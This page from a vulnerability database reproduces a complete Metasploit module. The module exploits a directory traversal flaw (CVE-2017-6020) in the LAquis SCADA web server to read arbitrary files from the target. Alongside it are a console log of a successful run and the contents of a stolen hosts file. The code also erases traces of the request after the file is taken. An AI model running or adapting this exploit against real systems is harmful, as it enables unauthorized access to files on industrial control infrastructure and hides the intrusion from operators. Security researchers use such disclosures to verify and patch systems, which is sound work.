Lucene search
K

LAquis SCADA 4.1.0.2385 - Directory Traversal Exploit

🗓️ 28 Sep 2017 00:00:00Reported by James FittsType 
zdt
 zdt
🔗 0day.today👁 51 Views

LAquis SCADA 4.1.0.2385 Directory Traversal Information Disclosure via NOME Paramete

Related
Code
ReporterTitlePublishedViews
Family
CVE
CVE-2017-6020
17 Apr 201814:00
cve
Cvelist
CVE-2017-6020
17 Apr 201814:00
cvelist
Exploit DB
LAquis SCADA 4.1.0.2385 - Directory Traversal (Metasploit)
27 Sep 201700:00
exploitdb
EUVD
EUVD-2017-15088
7 Oct 202500:30
euvd
exploitpack
LAquis SCADA 4.1.0.2385 - Directory Traversal (Metasploit)
27 Sep 201700:00
exploitpack
ICS
LCDS - Leão Consultoria e Desenvolvimento de Sistemas Ltda ME LAquis SCADA
23 Mar 201700:00
ics
NVD
CVE-2017-6020
17 Apr 201814:29
nvd
OSV
CVE-2017-6020
17 Apr 201814:29
osv
Packet Storm
LAquis SCADA 4.1.0.2385 Directory Traversal
29 Sep 201700:00
packetstorm
Prion
Design/Logic Flaw
17 Apr 201814:29
prion
Rows per page
require 'msf/core'
 
class MetasploitModule < Msf::Auxiliary
    Rank = GreatRanking
 
    include Msf::Exploit::Remote::HttpClient
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'LAquis SCADA Web Server Directory Traversal Information Disclosure',
            'Description'    => %q{
                This module exploits a directory traversal vulnerability found in the LAquis SCADA
                application. The vulnerability is triggered when sending a series of dot dot slashes
                (../) to the vulnerable NOME parameter found on the listagem.laquis file.
 
                This module was tested against v4.1.0.2385
            },
            'Author'         => [ 'james fitts' ],
            'License'        => MSF_LICENSE,
            'References'     =>
                [
                    [ 'CVE', '2017-6020' ],
                    [ 'ZDI', '17-286' ],
                    [ 'BID', '97055' ],
                    [ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-17-082-01' ]
                ],
            'DisclosureDate' => 'Mar 29 2017'))
 
        register_options(
            [
                OptInt.new('DEPTH', [ false, 'Levels to reach base directory', 10]),
                OptString.new('FILE', [ false, 'This is the file to download', 'boot.ini']),
                Opt::RPORT(1234)
            ], self.class )
    end
 
    def run
 
    depth = (datastore['DEPTH'].nil? or datastore['DEPTH'] == 0) ? 10 : datastore['DEPTH']
    levels = "/" + ("../" * depth)
 
    res = send_request_raw({
        'method'    =>   'GET',
        'uri'           =>   '/'
    })
 
    # make sure the webserver is actually listening
    if res.code == 200
        blob = res.body.to_s.scan(/(?<=href=)[A-Za-z0-9.?=&+]+/)
         
        for url in blob
            if url =~ /listagem/
                listagem = url
            end
        end
         
        # make sure the vulnerable page is there
        # not all of the examples include the
        # vulnerable page, so we test to ensure
        # that it is there prior to executing our code
        # there is a potential that real world may not
        # include the vulnerable page in some cases
        # as well
        res = send_request_raw({
            'method'    =>   'GET',
            'uri'           =>   "/#{listagem}",
        })
 
        # trigger
        if res.code == 200 and res.body.to_s =~ /<title>Listagem<\/title><\/head>/
             
            loot = []
            file_path = "#{datastore['FILE']}"
            file_path = file_path.gsub(/\//, "\\")
            cleanup = "#{listagem}"
            cleanup = cleanup.gsub(/DATA=/, "DATA=#{Rex::Text.rand_text_alphanumeric(15)}")
            cleanup = cleanup.gsub(/botao=Enviar\+consulta/, "botao=Submit\+Query")
            vulnerability = listagem.gsub(/(?<=NOME=)[A-Za-z0-9.]+/, "#{levels}#{file_path}")
 
            res = send_request_raw({
                'method'    =>   'GET',
                'uri'           =>   "/#{vulnerability}"
            })
 
            if res and res.code == 200
                blob = res.body.to_s
                blob.each_line do |line|
                    loot << line.match(/.*&nbps;<\/font><\/td>.*$/)
                end
 
                loot = loot.join.gsub(/&nbps;<\/font><\/td>/, "\r\n")
 
                if not loot or loot.empty?
                    print_status("File from \'#{rhost}:#{rport}\' is empty...")
                    return
                end
                file = ::File.basename(datastore['FILE'])
                path = store_loot('laquis.file', 'application/octet-stream', rhost, loot, file, datastore['FILE'])
                print_status("Stored \'#{datastore['FILE']}\' to \'#{path}\'")
 
                # cleaning up afterwards because the response
                # data from before is written and becomes
                # persistent
                referer = cleanup.gsub(/DATA=[A-Za-z0-9]+/, "DATA=")
 
                res = send_request_raw({
                    'method'    =>   'GET',
                    'uri'           =>   "/#{listagem}"
                })
 
                if res.code == 200
                    nome = res.body.to_s.match(/(?<=<input type=hidden name=NOME value=")[A-Za-z0-9.]+/)
                    cleanup = cleanup.gsub(/(?<=NOME=)[A-Za-z0-9.]+/, "#{nome}")
                    res = send_request_raw({
                        'method'    =>   'GET',
                        'uri'           =>   "/#{cleanup}",
                        'headers'   =>   {
                            'Referer'   =>   "http://#{rhost}:#{rport}/#{referer}",
                            'Accept-Language'   =>   'en-US,en;q=0.5',
                            'Accept-Encoding'   =>   'gzip, deflate',
                            'Connection'    =>   'close',
                            'Upgrade-Insecure-Requests' =>   '1',
                            'Cache-Control' =>   'max-age=0'
                        }
                    })
                end
 
                return
 
            end
 
        else
            print_error("Vulnerable page does not exist...")
        end
 
    else
        print_error("The server does not appear to be listening...")
    end
 
    end
end
__END__
msf auxiliary(laquis_directory_traversal) > show options
 
Module options (auxiliary/server/laquis_directory_traversal):
 
   Name     Current Setting                     Required  Description
   ----     ---------------                     --------  -----------
   DEPTH    10                                  no        Levels to reach base directory
   FILE     Windows/System32/drivers/etc/hosts  no        This is the file to download
   Proxies                                      no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST    192.168.1.2                         yes       The target address
   RPORT    1234                                yes       The target port (TCP)
   SSL      false                               no        Negotiate SSL/TLS for outgoing connections
   VHOST                                        no        HTTP server virtual host
 
msf auxiliary(laquis_directory_traversal) > rexploit
[*] Reloading module...
 
[*] Stored 'Windows/System32/drivers/etc/hosts' to '/home/james/.msf4/loot/20170927110756_default_192.168.1.2_laquis.file_227964.bin'
[*] Auxiliary module execution completed
 
[email protected]:~/.msf4/loot$ cat 20170927110456_default_192.168.1.2_laquis.file_677204.bin
# Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or following the machine name denoted by a '#' symbol.
#
# For example:
#
#      102.54.94.97     rhino.acme.com          # source server
#       38.25.63.10     x.acme.com              # x client host
 
# localhost name resolution is handled within DNS itself.
#
#

#  0day.today [2018-03-13]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation